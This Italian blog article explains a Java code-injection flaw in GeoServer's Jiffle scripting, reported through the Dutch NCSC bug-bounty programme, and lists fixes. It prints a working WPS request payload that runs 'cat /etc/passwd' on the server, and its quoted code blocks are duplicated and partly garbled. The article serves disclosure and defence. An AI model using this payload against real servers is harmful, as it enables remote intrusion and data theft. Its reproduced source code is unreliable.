Advertisement

L’informatica pubblica sotto la lente dell’hacker etico – Geoserver e la vulnerabilità nel codice Java

C’è un mondo sommerso che scorre sotto le infrastrutture digitali delle amministrazioni pubbliche. Non lo vediamo, ma alimenta cartografie, certificati, pagamenti elettronici, e moltissimi altri servizi accessibili via web. Questo mondo poggia su un castello di software spesso open source, strumenti potenti e flessibili che però, se mal configurati o poco aggiornati, possono diventare un pericoloso punto di accesso per i cybercriminali.

Ed è proprio qui che entra in gioco la figura dell’hacker etico, colui che penetra i sistemi non per distruggerli, ma per segnalarne le falle prima che lo faccia qualcun altro. Un’arte, quella del bug bounty, che non solo aiuta a mantenere in sicurezza infrastrutture cruciali, ma può anche far guadagnare un premio. A volte in denaro, a volte… in magliette.

Quando una t-shirt vale più dell’oro

Il National Cyber Security Center (NCSC) dei Paesi Bassi ha dato vita a una delle iniziative più brillanti (e irriverenti) nel panorama della sicurezza informatica pubblica. A chi scopre una vulnerabilità nei servizi governativi e la segnala in modo responsabile, viene regalata una t-shirt con la scritta: “I hacked the Dutch government and all I got was this lousy t-shirt”. Un gadget che è diventato presto un oggetto di culto tra i ricercatori di sicurezza di tutto il mondo.

E se pensi che il premio sia troppo modesto, considera questo: grazie a queste magliette sono state scoperte decine di falle in sistemi utilizzati da milioni di cittadini. Una tra queste riguardava proprio Geoserver, un’applicazione open source dedicata alla distribuzione di dati geografici.

Una vulnerabilità che permette l’iniezione di codice Java arbitrario attraverso uno dei suoi meccanismi di scripting. E no, non è uno scherzo.

Geoserver vulnerabilità codice Java: cosa è successo davvero

Una falla in pieno campo visivo

Geoserver è uno degli strumenti più usati al mondo per la pubblicazione di dati cartografici su web. Viene adottato da governi, enti locali e privati per servire mappe interattive, informazioni geospaziali e dataset altamente dettagliati tramite protocolli standard come WMS, WFS e WCS.

• WMS (Web Map Service): per visualizzare mappe raster.
• WFS (Web Feature Service): per manipolare dati vettoriali.
• WCS (Web Coverage Service): per dati raster complessi (es. immagini satellitari).

Sotto il cofano, però, Geoserver sfrutta un sistema complesso per manipolare le immagini geografiche, tra cui la libreria JAI-EXT (Java Advanced Imaging – Extended).

È proprio qui che si annida il problema: una delle estensioni di JAI-EXT, chiamata Jiffle, implementa un linguaggio di scripting semplificato per modificare immagini raster. Questi script vengono compilati al volo in codice Java attraverso una funzione specifica, e infine eseguiti.

Ora, se tutto questo ti fa suonare un campanello d’allarme, sei sulla buona strada.

Il cuore del problema: da script a codice eseguibile

Lo script scritto in linguaggio Jiffle viene prima tradotto in sorgente Java e successivamente compilato in bytecode dalla libreria Janino, un compilatore leggero e veloce pensato proprio per la generazione dinamica di classi. La funzione incriminata è questa:

public void write(SourceWriter w) {
    String[] lines = script.split("\n");
    w.line("/**");
    w.line(" * Java runtime class generated from the following Jiffle script: ");
    w.line(" *<code>");
    for (String line : lines) {
        w.append(" * ").append(line).newLine();
        String escaped = line
            .replace("*/", "*/")
            .replace("**", "/*");
        w.append(" * ").append(escaped).newLine();
    }
    w.line(" **/code>");
}

public void write(SourceWriter w) {
    String[] lines = script.split("\n");
    w.line("/**");
    w.line(" * Java runtime class generated from the following Jiffle script: ");
    w.line(" *<code>");
    for (String line : lines) {
        w.append(" * ").append(line).newLine();
        String escaped = line
            .replace("*/", "*/")
            .replace("**", "/*");
        w.append(" * ").append(escaped).newLine();
    }
    w.line(" **/code>");
}

Questa funzione tenta di gestire i commenti e fare l’escaping di alcune sequenze potenzialmente problematiche. Tuttavia, la presenza di una riga che inizia con * (non commentata correttamente) può generare un’eccezione nel compilatore Janino, provocando un errore… che però restituisce anche l’output dell’eventuale codice iniettato. E qui arriva la magia nera.

Esecuzione remota di codice: un payload malevolo

Immagina di poter scrivere uno script come questo:

<wps:LiteralData>dest = 1; */
INJECTED JAVA CODE ***/
wps:LiteralData>

<wps:LiteralData>dest = 1; */
INJECTED JAVA CODE ***/
wps:LiteralData>

Il compilatore tenterà di interpretarlo, fallirà, e restituirà in chiaro l’output di ciò che ha eseguito. Ma c’è di peggio. Ecco un payload più completo:

<wps:Input>
  <ows:Identifier>script</ows:Identifier>
  <wps:Data>
    <wps:LiteralData>
dest = y() - (500); // */
public class Double {
  public static double NaN = 0;
  static {
    try {
      java.io.BufferedReader reader = new java.io.BufferedReader(
        new java.io.InputStreamReader(
          java.lang.Runtime.getRuntime().exec("cat /etc/passwd").getInputStream()
        )
      );
      String line = null;
      String allLines = "-";
      while ((line = reader.readLine()) != null) {
        allLines += line;
      }
      throw new RuntimeException(allLines);
    } catch (java.io.IOException e) { }
  }
}
/*
    </wps:LiteralData>
  </wps:Data>
</wps:Input>

<wps:Input>
  <ows:Identifier>script</ows:Identifier>
  <wps:Data>
    <wps:LiteralData>
dest = y() - (500); // */
public class Double {
  public static double NaN = 0;
  static {
    try {
      java.io.BufferedReader reader = new java.io.BufferedReader(
        new java.io.InputStreamReader(
          java.lang.Runtime.getRuntime().exec("cat /etc/passwd").getInputStream()
        )
      );
      String line = null;
      String allLines = "-";
      while ((line = reader.readLine()) != null) {
        allLines += line;
      }
      throw new RuntimeException(allLines);
    } catch (java.io.IOException e) { }
  }
}
/*
    </wps:LiteralData>
  </wps:Data>
</wps:Input>

Questo script ridefinisce la classe Double, comunemente usata in Jiffle per la variabile result, inserendo un blocco statico che esegue il comando cat /etc/passwd e memorizza il contenuto nel messaggio di errore. Quando Janino fallisce la compilazione, l’output del comando viene visualizzato nella pagina di errore. Il tutto semplicemente inviando una richiesta WPS al server vulnerabile.

Cosa Succede?

1. Definisce una classe Double malevola che sovrascrive quella originale.
2. Il codice esce dallo script Jiffle con */.
3. All’esecuzione, viene chiamato Runtime.getRuntime().exec("cat /etc/passwd"), esfiltrando gli hash delle password.
4. L’output viene mostrato nell’errore generato da Janino (il compilatore Java usato da Geoserver).

Perché Funziona?

Geoserver utilizza la classe Double per definire una variabile alla fine dello script:

double result = Double.NaN;

double result = Double.NaN;

Siccome la classe è stata sovrascritta, viene eseguito il codice malevolo.

L’inquietante semplicità dell’exploit

Uno script, una richiesta, un sistema compromesso

La forza (o debolezza) di questa vulnerabilità risiede nella sua semplicità. Chiunque abbia accesso all’interfaccia WPS di Geoserver può inviare uno script malevolo e ricevere in risposta l’output del sistema target. Non serve nemmeno autenticazione, né bypass complicati. Tutto avviene alla luce del sole, con un meccanismo pensato per potenziare l’interazione con i dati ma che, in questo caso, diventa la porta d’accesso per l’esecuzione remota di codice.

In alcuni deployment Geoserver include anche una pagina demo pubblicamente accessibile che facilita la costruzione di richieste WPS. Se lasciata attiva, questa pagina offre un playground perfetto per testare e sfruttare la vulnerabilità.

Dove e quanto è pericoloso

La vulnerabilità, presa singolarmente, potrebbe sembrare non critica: chi se ne importa se qualcuno compromette un server di mappe pubbliche? Ma nella realtà delle infrastrutture IT pubbliche, i servizi non sono mai completamente isolati. Geoserver viene spesso installato su macchine che ospitano anche altri applicativi, magari legati a portali per cittadini, sistemi di gestione urbanistica, database sensibili. In questi casi, un exploit può rappresentare un punto di ingresso per escalation successive e compromissioni più ampie.

La soluzione? Più banale di quanto sembri

Un piccolo fix che salva il sistema

Fortunatamente, la correzione per questa vulnerabilità non richiede architetture nuove né cambi drastici nel codice. È sufficiente modificare il tag code usato nella funzione di generazione degli script e sostituirlo con pre. Questo evita che Janino interpreti erroneamente i commenti, impedendo la fuga di informazioni.

Una patch di poche righe, insomma. Ma che fa la differenza tra un server sicuro e uno potenzialmente in balia di chiunque sappia scrivere due righe di XML e Java.

Mitigazione e Soluzioni: Come Difendersi

1. Correggere la Sanitizzazione dei Commenti

Sostituire <code> con <pre> nel metodo write() per evitare che i commenti interferiscano con Janino.

2. Isolamento in Container

Eseguire Geoserver in un container Docker o un ambiente sandbox per limitare i danni in caso di exploit.

3. Disabilitare JAI-EXT Se Non Necessario

Se non serve la manipolazione avanzata delle immagini, disattivare le funzionalità non essenziali.

4. Monitorare le Richieste WPS

Analizzare le richieste sospette che contengono pattern come */ o chiamate a Runtime.exec().

L’isolamento come arma preventiva

Il caso di Geoserver ci ricorda una lezione fondamentale nella sicurezza dei sistemi: non esistono ambienti completamente sicuri, ma esistono ambienti isolati. Containerizzare applicazioni come Geoserver può rappresentare una strategia vincente per contenere i danni. Se anche un exploit riesce a entrare, non potrà uscire. Il principio è lo stesso dei compartimenti stagni sulle navi: l’acqua può entrare, ma non può affondare l’intero sistema.

Bug Bounty e cultura della disclosure responsabile

I veri eroi? Quelli che segnalano

Il modello del Bug Bounty non è una moda passeggera, ma una necessità. Sistemi complessi, pubblici o privati che siano, non possono più affidarsi solo ai test interni. Serve la creatività e la malizia costruttiva degli hacker etici per individuare vulnerabilità che sfuggono a ogni audit.

La responsible disclosure, come praticata dal NCSC olandese, è un esempio virtuoso. Ricompensare (anche solo simbolicamente) chi trova e segnala vulnerabilità rappresenta non solo un vantaggio per la sicurezza, ma anche un segnale di apertura e maturità tecnologica.

Conclusione: dietro ogni mappa, un rischio

La digitalizzazione dei servizi pubblici è una rivoluzione necessaria. Ma ogni linea di codice che serve un cittadino è anche un potenziale bersaglio. Geoserver, con la sua vulnerabilità al codice Java, ci mostra come anche strumenti apparentemente innocui possano diventare il tallone d’Achille di un’intera infrastruttura.

Proteggere questi strumenti non è solo una questione tecnica: è una responsabilità civile. E a volte, tutto comincia con una maglietta.

💡 Vuoi saperne di più sul mondo dell’hacking? Segui Hackerlog per approfondimenti su cybersecurity, hacking etico e molto altro!